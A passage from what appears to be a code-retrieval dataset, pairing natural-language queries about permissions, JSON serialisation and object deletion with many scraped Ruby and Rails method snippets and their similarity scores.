"def get_permissions\n permissions = Hash.new\n permissions[:CanEditAllTeams] = 1\n permissions[:CanEditAllPlayers] = 2\n permissions[:CanEditAllSeasons] = 3\n permissions[:CanEditAllDivisions] = 4\n permissions[:CanEditAllRatings] = 5\n permissions[:CanEditAllRoles] = 6\n permissions[:CanEditAllPermissions] = 7\n permissions[:CanImport] = 8\n permissions[:CanApproveRatings] = 10\n @permissions = permissions\n end",
"def current_permission\n @current_permission ||= Permission.permission_for(current_user, session_id)\n end",
"def show\n @permissions = Permission.all\n end",
"def get_permissions\n permissions.keys\n end",
"def get_permissions\n permissions.keys\n end",
"def permissions\n\t\tauthorize @user\n\t\t@permissions = []\n\t\tonly_theirs = \"Only theirs\"\n\t\tyes = \"Yes\"\n\t\tno = \"No\"\n\t\tnames = [\"View positions\", \"Create positions\", \"Edit positions\", \"Delete positions\",\n\t\t \"Apply\", \"View applications\", \"Edit applications\", \"Delete applications\",\n\t\t \"Change application submission status\"]\n\t\tadmin_permissions = [yes, yes, yes, yes, yes, \"All\", yes, yes, yes]\n\t\tmod_permissions = [yes, no, yes, no, yes, \"All but incomplete\", only_theirs, only_theirs, yes]\n\t\tuser_permissions = [yes, no, no, no, yes, only_theirs, only_theirs, only_theirs, no]\n\t\tnames.each_with_index do |permission, index|\n\t\t\t@permissions << { name: names[index], admin: admin_permissions[index], mod: mod_permissions[index], user: user_permissions[index]}\n\t\tend\n\n @title = 'Permissions'\n\tend",
"def show\n @all_permissions = Permission.all\n end",
"def owner_perm privilege, klass, owner\n Permission.new( :privilege => privilege,\n :class_name => klass.name,\n :is_grant => false,\n :has_grant_option => false,\n :target_owned_by_self => false,\n :target_owner => owner\n )\n \n end",
"def objects\n @object_permission_map.keys\n end",
"def list_permissions\n BrickFTP::API::Permission.all\n end",
"def list_permissions\n BrickFTP::API::Permission.all\n end",
"def new\n\t\t@permission = Permission.new\n\n\t\trespond_to do |format|\n\t\t\tformat.html # new.html.erb\n\t\t\tformat.xml\t{ render :xml => @permission }\n\t\tend\n\tend",
"def show\n @permission = Permission.find(params[:id])\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @permission.to_xml }\n end\n end",
"def show\n\t\t@permission = Permission.find(params[:id])\n\n\t\trespond_to do |format|\n\t\t\tformat.html # show.html.erb\n\t\t\tformat.xml\t{ render :xml => @permission }\n\t\tend\n\tend",
"def set_permission\n @permission = Permission.find(params[:id])\n end",
"def set_permission\n @permission = Permission.find(params[:id])\n end",
"def set_permission\n @permission = Permission.find(params[:id])\n end",
"def service_object\n Roles::PermissionsActionDispatcher.new(consul_scope)\n end",
"def permission_grants\n return @permission_grants\n end",
"def init_rac_data\n \n if connected_user and (self.permission_owner.nil? or self.permission_owner.empty?)\n self.permission_owner = connected_user.username\n end\n\n if connected_user and connected_user.usergroups.length > 0 and (self.permission_group.nil? or self.permission_group.empty?)\n self.permission_group = connected_user.usergroups.first.group \n end\n\n if self.permission_modifier_owner.nil? \n self.permission_modifier_owner = 6 \n end\n \n if self.permission_modifier_group.nil?\n self.permission_modifier_group = 2 \n end\n \n if self.permission_modifier_all.nil?\n self.permission_modifier_all = 0\n end \n\n end",
"def show\n @permissions = @role.permissions\n end",
"def state_permission(permission); end",
"def set_admin_permission\n @permission = Permission.find(params[:id])\n end",
"def permission\n perm = data.fetch(\"permissionSources\")\n .map { |i| i[\"permission\"] }\n .first\n .downcase\n GITHUB_TO_TERRAFORM_PERMISSIONS.fetch(perm)\n end",
"def set_permission\n\t @permission = Permission.find(params[:id])\n\t end",
"def self_owner_perm privilege, klass\n Permission.new( :privilege => privilege,\n :class_name => klass.name,\n :is_grant => false,\n :has_grant_option => false,\n :target_owned_by_self => true\n )\n end",
"def ftp_permission\n @attributes[:ftp_permission]\n end",
"def ftp_permission\n @attributes[:ftp_permission]\n end",
"def initialize_permissions\n return [] unless id\n response = self.class.client.describe_permissions(stack_id: id)\n Permission.from_collection_response(response)\n end",
"def authorization_object\n nil\n end",
"def authorization_object\n nil\n end",
"def permissions\n User.do_find_permissions session_id: kb_session_id\n end",
"def collection\n @collection ||= Permission.all\n end",
"def load_permissions \n @current_permissions = current_user.role.permissions.collect{|i| [i.subject_class, i.action]} \n end",
"def authorization\n get_privacy_setting.privacy_level\n end",
"def owner\n permission = self.permissions(level: 'owner')[0]\n if permission\n permission.user\n else\n nil\n end\n end",
"def admin_permissions\n {\n id: 1,\n appendable_permissions: [\n { permission_type: 'basic' },\n { permission_type: 'admin' }\n ]\n }\n end",
"def permissions_cache_key\n \"#{self.cache_key}/permissions\"\n end",
"def access_info\n super\n end",
"def permissions=(value)\n @permissions = value\n end",
"def show\n @permission = Permission.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json =>@permission }\n end\n end",
"def attributes\n permissions.select { |k, v| v.present? }.as_json\n end",
"def permissions_info(sco_id, filter = nil)\n res = query(\"permissions-info\", \"acl-id\" => sco_id, \"filter\" => filter)\n\n return res.body\n data = XmlSimple.xml_in(res.body)\n if data['permissions'][0]\n return data['permissions'][0]\n end\n #puts YAML::dump(data)\n# if data[\"sco\"][0]\n# return data[\"sco\"][0]\n# end\n end",
"def dav_permission\n @attributes[:dav_permission]\n end",
"def dav_permission\n @attributes[:dav_permission]\n end",
"def permissions(options: {})\n Permissions.new(fetch(\n path: Permissions::PATH.call(id),\n options: options\n )).permissions\n end",
"def show\n @role_permission = RolePermission.find(params[:id])\n #authorize! :show, @role_permission\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @role_permission }\n end\n end",
"def new\n @permission = Permission.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @permission }\n end\n end",
"def permission?()\n return nil\n end",
"def billing_permission\n @attributes[:billing_permission]\n end",
"def permission_set\n if attributes[\"InheritedSecurity\"]\n supersite.permission_set\n else\n PermissionSet.new(self)\n end\n end",
"def initialize_rights\n @permissions ||= {}\n @user_groups ||= {}\n\n @public_access ||= []\n @protected_access ||= []\n end",
"def load_permissions\n @current_permissions = current_user.role.permissions.collect{|i| [i.subject_class, i.action]}\n end",
"def overall_permissions(thing)\n global_permissions.merge!(permissions_for(thing))\n end",
"def acts_as_canhaz_object\n include Canhaz::Mongoid::ObjectExtensions\n class_eval do\n has_many :permissions_subjects, :class_name => 'Canhaz::Mongoid::Permission', :inverse_of => 'cobject'\n end\n end",
"def permissions_policy(&block); end",
"def show\n\t\t@all_permissions = Lockdown::System.permissions_assignable_for_user(current_user)\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user_group }\n end\n end",
"def permissions\n Rails.cache.fetch(\"permissions_#{self.id}\", expire_in: 1.month) do\n self.roles.map(&:permissions).flatten\n end\n end",
"def permissions(ob, user, query)\n\n policy = ob.is_a?(Policy) ? ob : ob.contribution.policy\n\n def permission_node(view, download, edit, category, id = nil, layout = false)\n node = LibXML::XML::Node.new('permission')\n category_node = LibXML::XML::Node.new('category')\n category_node << category\n node << category_node\n if id\n id_node = LibXML::XML::Node.new('id')\n id_node << id\n node << id_node\n end\n if view\n privilege = LibXML::XML::Node.new('privilege')\n privilege['type'] = \"view\"\n node << privilege\n end\n if download\n privilege = LibXML::XML::Node.new('privilege')\n privilege['type'] = \"download\"\n node << privilege\n end\n if edit\n privilege = LibXML::XML::Node.new('privilege')\n privilege['type'] = \"edit\"\n node << privilege\n end\n if layout\n use_layout_node = LibXML::XML::Node.new('use-layout')\n use_layout_node << 'true'\n node << use_layout_node\n end\n\n if view || edit || download\n node\n else\n nil\n end\n end\n\n permissions = LibXML::XML::Node.new('permissions')\n permissions << permission_node([0,1,2].include?(policy.share_mode),\n policy.share_mode == 0,\n false,\n 'public')\n\n unless ob.is_a?(Policy)\n permissions['uri'] = rest_access_uri(policy)\n permissions['resource'] = rest_resource_uri(policy)\n permissions['id'] = policy.id.to_s\n permissions['policy-type'] = policy.group_policy? ? 'group' : 'user-specified'\n end\n\n policy.permissions.select {|p| p.contributor_type == \"Network\"}.each do |perm|\n permissions << permission_node(perm.view, perm.download, perm.edit, 'group', perm.contributor_id,\n policy.layout == perm.contributor.layout_name)\n end\n\n permissions\nend",
"def resource_access\n return @resource_access\n end",
"def resource_access\n return @resource_access\n end",
"def new\n @permission = Permission.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json =>@permission }\n end\n end",
"def authorize_against(parent_typed_object)\n parent_typed_object.object if built_in_type? && parent_typed_object.respond_to?(:object)\n end",
"def show\n @permission_resource = PermissionResource.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @permission_resource }\n end\n end",
"def to_i\n @permissions\n end",
"def permission(name)\n permissions.detect { |p| p.name == name }\n end",
"def calendar_permissions\n return @calendar_permissions\n end",
"def objects_with_permission(type, permission)\n raise Exceptions::NotACanHazObject unless type.respond_to?(:acts_as_canhaz_object)\n permissions = self.permissions.where(:permission => permission.to_s, :type => type.to_s)\n type.in(:id => permissions.collect(&:cobject_id))\n end",
"def perms\n if @perms.nil?\n @perms = {}\n permissions = ['comment', 'edit', 'reassign', 'prioritize', 'close', 'milestone']\n permissions.each do |p|\n if @task.project_id.to_i == 0 || current_user.can?(@task.project, p)\n @perms[p] = {}\n else\n @perms[p] = { :disabled => 'disabled' }\n end\n end\n\n end\n\n @perms\n end",
"def show\n @attribute_permission = AttributePermission.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @attribute_permission }\n end\n end",
"def to_json options = {}\n super options.merge(:methods => [:permissions])\n end",
"def project_permissions\n user.project_permissions(rule.project)\n end",
"def permissions_for(thing = nil, single = false)\n return {} if thing.nil?\n association = \"#{thing.class.to_s.downcase}_id\"\n conditions = \"permissions.#{association} = '#{thing.id}'\"\n permission = permissions.first(:conditions => conditions)\n if permission.nil?\n {}\n else\n attributes = permission.attributes\n unless single\n ancestors = thing.ancestors\n ancestors += [thing.category, thing.category.ancestors].compact! || [] if thing.is_a?(Forum)\n for ancestor in ancestors\n atttributes.merge!(permissions_for(thing, true))\n end\n end\n attributes\n end\n end",
"def access_rights_for_permission(perm)\n sym = Lockdown.get_symbol(perm)\n\n permissions[sym]\n rescue \n raise SecurityError, \"Permission requested is not defined: #{sym}\"\n end",
"def show\n @permission = Permission.find(params[:id])\n @page_title = I18n.t(:edit_permission_header, permission: @permission.name)\n\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @permission }\n end\n end",
"def load_permissions\n \n @current_permissions = current_user.role.permissions.collect{|i| [i.subject_class, i.action]}\n end",
"def create\n @permission = Permission.new(params[:permission])\n respond_to do |format|\n\t\t\tif @permission.save\n\t\t\t\tflash[:notice] = 'Permission was successfully created.'\n\t\t\t\tformat.html { redirect_to(superadmin_permissions_path) }\n\t\t\t\tformat.xml { render :xml => @permission, :status => :created, :location => superadmin_permission_path(@permission) }\n\t\t\t\t@permissions= Permission.find(:all)\n\t\t\telse\n flash[:error] = 'Permission Updation Failed.'\n\t\t\t\tformat.html { render :action => \"new\" }\n\t\t\t\tformat.xml { render :xml => @permission.errors, :status => :unprocessable_entity }\n\t\t\tend\n end\n end",
"def index\n @permissions = Permission.all\n end",
"def attachments_permission\n @attributes[:attachments_permission]\n end"
] |
[
"0.7202397",
"0.6895051",
"0.68911666",
"0.6851432",
"0.68210363",
"0.6735153",
"0.6673834",
"0.6673834",
"0.65915704",
"0.656746",
"0.64694524",
"0.6457866",
"0.6440819",
"0.6438231",
"0.640842",
"0.6403268",
"0.63670594",
"0.63257146",
"0.6319965",
"0.63123775",
"0.62699425",
"0.62560153",
"0.6175221",
"0.6160031",
"0.61429584",
"0.61050975",
"0.61050975",
"0.6103605",
"0.6096327",
"0.6088269",
"0.60688215",
"0.60076344",
"0.60076344",
"0.59861684",
"0.59734845",
"0.59601486",
"0.5940405",
"0.5940405",
"0.5940405",
"0.5933225",
"0.59328943",
"0.593042",
"0.5900345",
"0.58993626",
"0.5886327",
"0.5885956",
"0.58783746",
"0.5872936",
"0.5858521",
"0.5858521",
"0.5846997",
"0.58468324",
"0.58468324",
"0.5839859",
"0.5833825",
"0.58316344",
"0.5831388",
"0.5806728",
"0.58043903",
"0.5787435",
"0.57837605",
"0.57704145",
"0.5767821",
"0.5749638",
"0.57490224",
"0.5747383",
"0.5747383",
"0.57404095",
"0.57287115",
"0.5706017",
"0.5701959",
"0.5698801",
"0.56980765",
"0.56884104",
"0.56852114",
"0.5679321",
"0.56731427",
"0.56708044",
"0.56679356",
"0.56662893",
"0.56653184",
"0.56652987",
"0.56652987",
"0.56633514",
"0.56524414",
"0.56499654",
"0.563421",
"0.5631728",
"0.562722",
"0.5620961",
"0.5616982",
"0.5601971",
"0.5601424",
"0.5600725",
"0.5592314",
"0.55902165",
"0.55885535",
"0.5586255",
"0.5581272",
"0.5580386",
"0.55706745"
] |
0.0
|
-1
|
Get json format object
|
def to_json
object.to_json
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def to_json\n @json ||= get_json\n end",
"def to_json_raw_object()\n #This is a stub, used for indexing\n end",
"def json\n {}\n end",
"def tojson\n\t\tend",
"def to_json\n\t\tto_h.to_json\n\tend",
"def to_json\n\t\tto_h.to_json\n\tend",
"def to_json\n to_json_object.to_json\n end",
"def as_json(*)\n to_h\n end",
"def json_serialize\n end",
"def to_json\n to_h.to_json\n end",
"def to_json\n to_h.to_json\n end",
"def json(obj)\n content_type :json\n obj.to_json\n end",
"def as_json(*)\n {\n FunJSON.create_id => self.class.name,\n 'b' => _dump,\n }\n end",
"def as_json(*)\n {\n JSON.create_id => self.class.name,\n 'b' => _dump,\n }\n end",
"def to_json\n to_parsed.to_json\n end",
"def to_json\n JSON.generate(to_h)\n end",
"def as_json(*)\n {\n FunJSON.create_id => self.class.name,\n 'a' => to_a,\n }\n end",
"def to_json\n JSON(as_json)\n end",
"def get_json\n return to_json()\nend",
"def as_json\n JSON.parse self.to_json\n end",
"def as_json\n to_s.as_json\n end",
"def to_json\r\n to_hash.to_json\r\n end",
"def json\n @json_hash.to_json\n end",
"def as_json(*)\n {\n JSON.create_id => self.class.name,\n 'y' => year,\n 'm' => month,\n 'd' => day,\n 'H' => hour,\n 'M' => min,\n 'S' => sec,\n 'of' => offset.to_s,\n 'sg' => start,\n }\n end",
"def object_to_json(obj)\n JSON(obj)\nend",
"def json\n @data.to_json\n end",
"def serialize\n JSON.generate(to_h)\n end",
"def as_json(*)\n {\n FunJSON.create_id => self.class.name,\n 'y' => year,\n 'm' => month,\n 'd' => day,\n 'sg' => start,\n }\n end",
"def as_json options=nil\n {}\n end",
"def as_json\n record\n end",
"def to_json\n io = StringIO.new << \"{\"\n\n io << JSON.create_id.to_json << \":\" << self.class.name.to_json << \",\"\n\n @data.each {|key, value|\n io << key.to_json.to_s << \":\" << value.to_json << \",\"\n }\n\n io.seek(-1, IO::SEEK_CUR)\n io << \"}\"\n\n io.string\n end",
"def to_json\n @json.to_json\n end",
"def to_json\n @front_end.get_json_string\n end",
"def as_json(*args)\n {}.as_json\n end",
"def as_json(_opts={})\n raise NotImplementedError\n end",
"def to_json(_context = nil)\n to_h.to_json\n end",
"def to_json\n JSON.generate to_hash\n end",
"def to_json\n\n end",
"def to_json\n self.to_h.to_json\n end",
"def json\n @obj.get_json_regex\n end",
"def to_json(*)\n\t\t\t# to_json needs to not care about arguments with the C extension\n\t\t\t# version of the JSON gem.\n\t\t\t# See json-1.5.1/ext/json/ext/generator/generator.c:902\n\t\t\tto_hash.to_json\n\t\tend",
"def to_json\n to_s.to_json\n end",
"def to_json\n to_hash.to_json\n end",
"def to_json\n to_hash.to_json\n end",
"def to_json\n to_hash.to_json\n end",
"def to_json\n to_hash.to_json\n end",
"def to_json\n to_hash.to_json\n end",
"def to_json\n to_hash.to_json\n end",
"def to_json\n to_hash.to_json\n end",
"def to_json\n to_hash.to_json\n end",
"def to_json\n to_hash.to_json\n end",
"def to_json\n to_hash.to_json\n end",
"def to_json\n to_hash.to_json\n end",
"def to_json\n raise StandardError, \"Not implemented!\"\n end",
"def j(obj)\n puts obj.to_json\nend",
"def to_json arg\n as_json.to_json\n end",
"def as_json\n @data\n end",
"def json_obj(method,params={})\n obj =\n {\n 'jsonrpc'=>'2.0',\n 'method'=>method,\n 'params'=>params,\n 'auth'=>@auth,\n 'id'=>@id\n }\n debug(10, :msg=>\"json_obj: #{obj}\")\n return obj.to_json\n end",
"def to_json\n to_a.to_json\n end",
"def to_json\n to_hash.to_json\n end",
"def as_json(*args)\n data\n end",
"def to_json\n return Json.dump(to_hash)\n end",
"def format\n :json\n end",
"def json\n @@id += 1\n \"{\" +\n \"\\\"type\\\": \\\"#{@type}\\\", \\\"id\\\": \\\"A#{@@id}\\\", \\\"value\\\": \\\"#{@value}\\\", \" +\n \"\\\"offset\\\": #{@offset}, \\\"length\\\": #{@length}\" +\n \"}\"\n end",
"def json\n Oj.to_json(@req)\n end",
"def toJson()\n json = { 'class' => self.class.to_s }\n json['id'] = @id ;\n json['index'] = @index ;\n json['allow'] = @allow ;\n json['disallow'] = @disallow ;\n json['speed'] = @speed ;\n json['length'] = @length ;\n json['originalId'] = @originalId ;\n\n json['shape'] = genShapeJson() ;\n\n return json ;\n end",
"def as_json(*_args)\n as_extended_json\n end",
"def as_json\n { id: id, number: number }\n end",
"def to_json\n to_hash.to_json\n end",
"def to_json\n to_hash.to_json\n end",
"def json\n \"#{self.to_s}&json=true\"\n end",
"def to_json\n data.to_json\n end",
"def to_json\n return to_hash.to_json\n end",
"def to_json\n Oj.dump(to_hash)\n end",
"def to_json\n to_raw.to_json\n end",
"def to_json\n self.to_hash.to_json\n end",
"def json\n JSON.parse @body\n end",
"def json_to_object(json)\n JSON(json)\nend",
"def to_json(*a)\n @json\n end",
"def toJSON(object)\n\t\treturn JSON.generate(object)\n\tend",
"def json(obj)\n JSON.create_id = nil\n JSON.pretty_generate(obj)\nend",
"def json\n JSON.parse(@body)\n end",
"def as_json(*)\n {\n asiakasnro: asiakasnro,\n email: email,\n kieli: kieli,\n maa: maa,\n nimi: nimi,\n nimitark: nimitark,\n osoite: osoite,\n postino: postino,\n postitp: postitp,\n puhelin: puhelin,\n toim_maa: toim_maa,\n tunnus: tunnus,\n ytunnus: ytunnus,\n }\n end",
"def to_json\n self.to_hash.to_json\n end",
"def to_json\n self.to_hash.to_json\n end",
"def for_json\n to_hash\n end",
"def as_json(*)\n {\n JSON.create_id => self.class.name,\n 'a' => [ first, last, exclude_end? ]\n }\n end",
"def json\n {\"creation_date\" => @creation_date}\n end",
"def as_json(*)\n {\n FunJSON.create_id => self.class.name,\n 'a' => [ first, last, exclude_end? ]\n }\n end",
"def to_json\n return self.to_hash.to_json\n end",
"def e(object)\n require 'json'\n object.respond_to?(:to_json) ? object.to_json : object.to_s.to_json\n end",
"def object\n object = {\n jsonapi: {\n version: ActiveModelSerializers.config.jsonapi_version,\n meta: ActiveModelSerializers.config.jsonapi_toplevel_meta\n }\n }\n object[:jsonapi].reject! { |_, v| v.blank? }\n\n object\n end",
"def to_json(*args); end",
"def as_json(*)\n # {\"id\":11,\"identifier_id\":1,\"status\":\"Submitted\",\"user_id\":1,\"note\":\"hello hello ssdfs2232343\",\"keywords\":null}\n {\n id: id,\n dataset: resource.identifier.to_s,\n status: readable_status,\n action_taken_by: user_name,\n note: note,\n keywords: keywords,\n created_at: created_at,\n updated_at: updated_at\n }\n end",
"def json_\n hash = {\n \"Id\" => id,\n \"Created\" => created,\n \"CreatedBy\" => created_by,\n \"Modified\" => modified,\n \"ModifiedBy\" => modified_by\n }\n\n hash.to_json\n end",
"def to_json\n return self.class.to_json\n end",
"def to_json *args \n self.to_hash.to_json\n end",
"def to_json *args \n self.to_hash.to_json\n end",
"def as_json(*args)\n {\n :id => id,\n :type => type,\n :data => data\n }\n end",
"def as_json\n\t\t{\n\t\t\t:id => self.id,\n\t\t\t:nombre => self.nombre,\n\t\t\t:abreviacion => self.abreviacion,\n\t\t}\t\t\n\tend"
] |
[
"0.7650927",
"0.75633585",
"0.7562201",
"0.7469389",
"0.7454028",
"0.7454028",
"0.7425858",
"0.7340431",
"0.73328584",
"0.73174286",
"0.73174286",
"0.73012275",
"0.7287307",
"0.7287122",
"0.7271262",
"0.7252237",
"0.72411376",
"0.72384715",
"0.72356147",
"0.72283417",
"0.7208242",
"0.71958697",
"0.71862626",
"0.7181888",
"0.7159282",
"0.7158448",
"0.7148111",
"0.71409494",
"0.7132653",
"0.7132486",
"0.71271515",
"0.7122217",
"0.71168506",
"0.71097815",
"0.7100595",
"0.70829785",
"0.70823276",
"0.7057359",
"0.7056981",
"0.7046742",
"0.70366156",
"0.70363957",
"0.7013986",
"0.7013986",
"0.7013986",
"0.7013986",
"0.7013986",
"0.7013986",
"0.7013986",
"0.7013986",
"0.7013986",
"0.7013986",
"0.7013986",
"0.70076114",
"0.70015216",
"0.6993842",
"0.698695",
"0.69657266",
"0.6964198",
"0.69493383",
"0.694708",
"0.69313234",
"0.69203174",
"0.6915838",
"0.6910454",
"0.690885",
"0.6907755",
"0.6901757",
"0.6895093",
"0.6895093",
"0.6887207",
"0.6883772",
"0.6877065",
"0.6871263",
"0.6868148",
"0.685724",
"0.68558043",
"0.6854176",
"0.68519586",
"0.68491316",
"0.68420196",
"0.68413347",
"0.68404764",
"0.68394476",
"0.68394476",
"0.68197554",
"0.68142176",
"0.6813366",
"0.68101984",
"0.6810151",
"0.6809512",
"0.68028903",
"0.6798566",
"0.6786826",
"0.67862856",
"0.6784934",
"0.67792016",
"0.67792016",
"0.67780113",
"0.67765534"
] |
0.7308049
|
11
|
Get the hash equivalent of the data
|
def to_hash
object
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def hash\n data.hash\n end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash\n bytes.hash\n end",
"def hash\n Digest::SHA256.hexdigest( \"#{nonce}#{time}#{difficulty}#{prev}#{data}\" )\n end",
"def key_for(data)\n data.hash\n end",
"def hash\n @hash || calculate_hash!\n end",
"def hash\n shasum.hash\n end",
"def hash\n shasum.hash\n end",
"def hash\n shasum.hash\n end",
"def hash_from_payload(payload)\n Digest::SHA256.digest(Digest::SHA256.digest( payload )).reverse.unpack(\"H*\")[0]\n end",
"def hash(*) end",
"def hash\n guid.hash\n end",
"def to_hash() end",
"def to_hash()\n @data\n end",
"def hash\r\n return to_s.hash\r\n end",
"def hash\n [ data, type ].hash\n end",
"def hash\n @hash || @hash = (value.hash * -1)\n end",
"def hash\n Zlib.crc32(to_a.map(&:to_s).sort.to_s)\n end",
"def hash\n return to_s.hash\n end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash_hash(h)\n require 'digest/md5'\n Digest::MD5.hexdigest(Marshal::dump(h.sort))\n end",
"def createSHAHash(data)\n\t\treturn Digest::SHA1.digest(data)\n\tend",
"def hash\r\n id.hash\r\n end",
"def hash\n 0\n end",
"def hash\n raw = [name, type, values.join('/')].join(' ')\n Digest::MD5.hexdigest(raw)\n end",
"def to_hash\n @data\n end",
"def md5_hash(data)\n md5 = Digest::MD5.new\n md5 << data\n md5.hexdigest\n end",
"def get_hash(key)\n (Zlib.crc32(key).abs % 100).to_s(36)\n end",
"def get_hash(input)\n return $hasher.reset.update(input).to_s\nend",
"def hexhash\n hash.to_s(16)\n end",
"def hash\n id.hash + 32 * bs_request.hash\n end",
"def hash\n @hash.hash\n end",
"def hash\n return @id.hash\n end",
"def hash\n\n self.h.fei.hash\n end",
"def hash()\n #This is a stub, used for indexing\n end",
"def hash\n @hash ||= begin\n result = 17\n result = 31 * result + self.class.hash\n result = 31 * result + ord\n result.is_a?(Fixnum) ? result : result.hash\n end\n end",
"def hash\n @hash ||= begin\n result = 17\n result = 31 * result + self.class.hash\n result = 31 * result + ord\n result.is_a?(Fixnum) ? result : result.hash\n end\n end",
"def to_hash\n @data\n end",
"def hash\n type.hash ^ (id.hash >> 1)\n end",
"def to_hash\n @data\n end",
"def to_hash\n @data.to_hash\n end",
"def hash\n @id.hash\n end",
"def hash(block)\n Digest::SHA256.hexdigest(block.to_s.encode)\n end",
"def to_hash\n data.to_hash\n end",
"def to_hash\n data.to_hash\n end",
"def hash\n id.hash\n end",
"def hash\n id.hash\n end",
"def hash\n id.hash\n end",
"def hash\n id.hash\n end",
"def hash\n id.hash\n end",
"def hash\n id.hash\n end",
"def hash\n id.hash\n end",
"def hash\n id.hash\n end",
"def hash\n id.hash\n end",
"def hash\n id.hash\n end",
"def block_hash\n\t\tdigest = Digest::SHA2.new\n\n\t\tdigest << '%d' % [ self.index ]\n\t\tdigest << self.timestamp.strftime( '%s%N' )\n\t\tdigest << self.payload\n\t\tdigest << self.payload_hash\n\t\tdigest << self.proof.to_s\n\t\tdigest << self.previous_hash\n\t\t\n\t\treturn digest.hexdigest\n\tend",
"def hash\n id.hash\n end",
"def hash\n id.hash\n end",
"def hash\n values.hash ^ known_data.hash\n end",
"def binary_hash\n [@hash].pack(\"H*\").reverse\n end",
"def hash\n @hash\n end",
"def hash\n end",
"def hash\n end",
"def hash\n end",
"def hash\n value_id.hash\n end",
"def hash!\n\t\t@@email.downcase!\n\t\thash = Digest::MD5.hexdigest(@@email)\n\t\treturn hash\n\tend",
"def hash\n self.to_f.hash\n end",
"def hash\n to_s.hash\n end",
"def hash\n id.hash\n end",
"def hash\n @vbits.hash\n end",
"def hash\n return (path + file_id.to_s).hash\n end",
"def sha\n result_hash['sha']\n end",
"def hash\n @real.hash ^ @image.hash\n end",
"def calculate_hash!\n prefix = PREFIX_NAME_LOOKUP[self.type]\n # add special cases for refs\n self.hash_id = NodeId.sha1(\"#{prefix} #{self.size}\\0#{self.content}\")\n end",
"def hash\n value.hash\n end",
"def hash_code; end",
"def getHash element\n\tfile = File.new(element)\n\thash = Digest::SHA256.file file\n\tfile.close\n\treturn hash.hexdigest \n\tend",
"def hash\n @data.dup.concat([@ts]).hash\n end",
"def data_hash(code, params)\n OpenSSL::Digest::SHA256.digest(JWT.canonical_json(data(code, params)))\n end",
"def hash(tx)\n Digest::SHA256.hexdigest(Digest::SHA256.hexdigest(tx))\nend",
"def hashed_input\n\t\tmd5_hex = Digest::MD5.hexdigest(@term)\n\t\tmd5_hex.scan(/../).map { |s| s.to_i(16) }\n\tend",
"def hash\n [anchor, cv, nullifier, proof, rk, spend_auth_sig].hash\n end",
"def hash\n @orig.hash\n end",
"def hash\n @orig.hash\n end",
"def hash\n @orig.hash\n end",
"def compute_hash( path )\n res = '0'\n autorelease_pool { res = NSData.sha1FromContentsOfFile(path) }\n res\n end"
] |
[
"0.79371935",
"0.7855994",
"0.7855994",
"0.7855994",
"0.7855994",
"0.7855994",
"0.7855994",
"0.7855994",
"0.7754497",
"0.7664794",
"0.755855",
"0.7490035",
"0.73760355",
"0.73760355",
"0.73760355",
"0.7362371",
"0.73366135",
"0.72881097",
"0.7285503",
"0.7270733",
"0.726795",
"0.7233372",
"0.720842",
"0.7196095",
"0.7183902",
"0.716847",
"0.716847",
"0.716847",
"0.716847",
"0.716847",
"0.716847",
"0.716847",
"0.716847",
"0.716847",
"0.716847",
"0.7164032",
"0.71626306",
"0.7156417",
"0.71501535",
"0.7146153",
"0.7102276",
"0.7098562",
"0.7090105",
"0.7080306",
"0.7066179",
"0.70616883",
"0.7049065",
"0.7043521",
"0.7037538",
"0.7035405",
"0.7018764",
"0.7018764",
"0.70150906",
"0.70140475",
"0.70112735",
"0.7010428",
"0.7001062",
"0.69943315",
"0.6990748",
"0.6990748",
"0.6984475",
"0.69839954",
"0.69839954",
"0.69839954",
"0.69839954",
"0.69839954",
"0.69839954",
"0.69839954",
"0.69839954",
"0.69839954",
"0.69811916",
"0.6977158",
"0.6977158",
"0.6976699",
"0.6968014",
"0.6943573",
"0.6934782",
"0.6934782",
"0.6934782",
"0.6934199",
"0.69303656",
"0.69302654",
"0.6915646",
"0.6899628",
"0.68916285",
"0.6882236",
"0.68794125",
"0.6865402",
"0.68577415",
"0.68570614",
"0.6851318",
"0.6840616",
"0.6837203",
"0.6825729",
"0.6824887",
"0.6822136",
"0.6817136",
"0.6814103",
"0.6814103",
"0.6814103",
"0.678727"
] |
0.0
|
-1
|
Delete the object from Skydrive
|
def delete
client.delete("/#{id}")
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def delete(object); end",
"def delete\n object.destroy rescue nil\n end",
"def delete(obj) ; end",
"def delete(object)\n full_name = extract_full_name object\n post 'api/del', :id => full_name\n end",
"def delete(o); removeObject o end",
"def destroy; delete end",
"def delete\n conn = @client.authorized_connection(url: @client.object_api_url)\n res = conn.delete do |req|\n req.url resource_uri\n end\n if res.success?\n data = JSON.parse(res.body)\n reload\n else\n nil\n end\n end",
"def delete()\n @ole.Delete()\n end",
"def delete()\n @ole.Delete()\n end",
"def delete()\n @ole.Delete()\n end",
"def delete()\n @ole.Delete()\n end",
"def destroy\n delete_object\n true\n end",
"def destroy\n @skydatum = Skydatum.find(params[:id])\n @skydatum.destroy\n\n respond_to do |format|\n format.html { redirect_to skydata_url }\n format.json { head :no_content }\n end\n end",
"def delete\n \n end",
"def delete(obj)\n true\n end",
"def delete(object)\n thread_local_store.delete(object.path)\n end",
"def delete!(object)\n raise NotImplementedError\n end",
"def destroy\n \n end",
"def destroy\n \n end",
"def deleteRepositoryObject(path)\n begin\n File.delete(path+\".obj\")\n rescue DefaultException => e\n puts \"Failed to delete repository object : #{path}\"\n end\n end",
